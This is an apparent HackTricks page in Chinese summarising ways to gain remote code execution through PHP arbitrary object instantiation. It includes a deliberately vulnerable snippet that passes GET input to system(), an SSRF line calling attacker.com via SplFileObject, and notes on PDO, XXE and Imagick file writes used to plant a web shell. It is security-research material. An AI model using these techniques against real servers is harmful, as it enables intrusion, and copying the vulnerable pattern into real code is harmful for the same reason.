PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

这基本上是https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/的摘要

简介

创建新的任意对象,例如new $_GET["a"]($_GET["a"]),可能导致远程代码执行(RCE),详细信息请参阅writeup。本文档突出了实现RCE的各种策略。

通过自定义类或自动加载实现RCE

语法new $a($b)用于实例化一个对象,其中**$a表示类名,$b**是传递给构造函数的第一个参数。这些变量可以来自用户输入,如GET/POST,其中它们可能是字符串或数组,或来自JSON,其中它们可能呈现为其他类型。

考虑下面的代码片段:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

在这个例子中,将$a设置为AppApp2,将$b设置为系统命令(例如uname -a)会导致该命令被执行。

如果没有直接访问这些类,自动加载函数就可以被利用。这些函数在需要时会自动从文件中加载类,并且是使用spl_autoload_register__autoload来定义的:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

通过内置类实现RCE

缺乏自定义类或自动加载程序时,内置PHP类可能足以实现RCE。这些类的数量在100到200之间不等,取决于PHP版本和扩展。可以使用get_declared_classes()列出它们。

可以通过反射API识别感兴趣的构造函数,如下例和链接https://3v4l.org/2JEGF所示。

通过特定方法实现RCE包括:

SSRF + Phar反序列化

SplFileObject类通过其构造函数实现SSRF,允许连接到任何URL:

new SplFileObject('http://attacker.com/');

利用PDOs

PDO类构造函数允许通过DSN字符串连接到数据库,可能会启用文件创建或其他交互:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

PHP版本在5.3.22和5.4.12及以下存在对SoapClientSimpleXMLElement构造函数的XXE攻击漏洞,取决于libxml2的版本。

通过Imagick扩展实现RCE

在分析项目的依赖关系时,发现可以通过实例化新对象来利用Imagick执行命令执行。这为利用漏洞提供了机会。

VID解析器

发现VID解析器具有将内容写入文件系统中任意指定路径的能力。这可能导致在可通过web访问的目录中放置PHP shell,从而实现远程代码执行(RCE)。

VID解析器 + 文件上传

注意到PHP会将上传的文件临时存储在/tmp/phpXXXXXX中。Imagick中的VID解析器,利用msl协议,可以处理文件路径中的通配符,从而促进将临时文件传输到所选位置。这种方法提供了另一种实现文件系统内任意文件写入的途径。

PHP崩溃 + 暴力破解

原始文档中描述了一种方法,涉及上传触发服务器崩溃的文件。通过对临时文件名进行暴力破解,Imagick可以执行任意PHP代码。然而,这种技术只在过时版本的ImageMagick中有效。

参考资料

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

最后更新于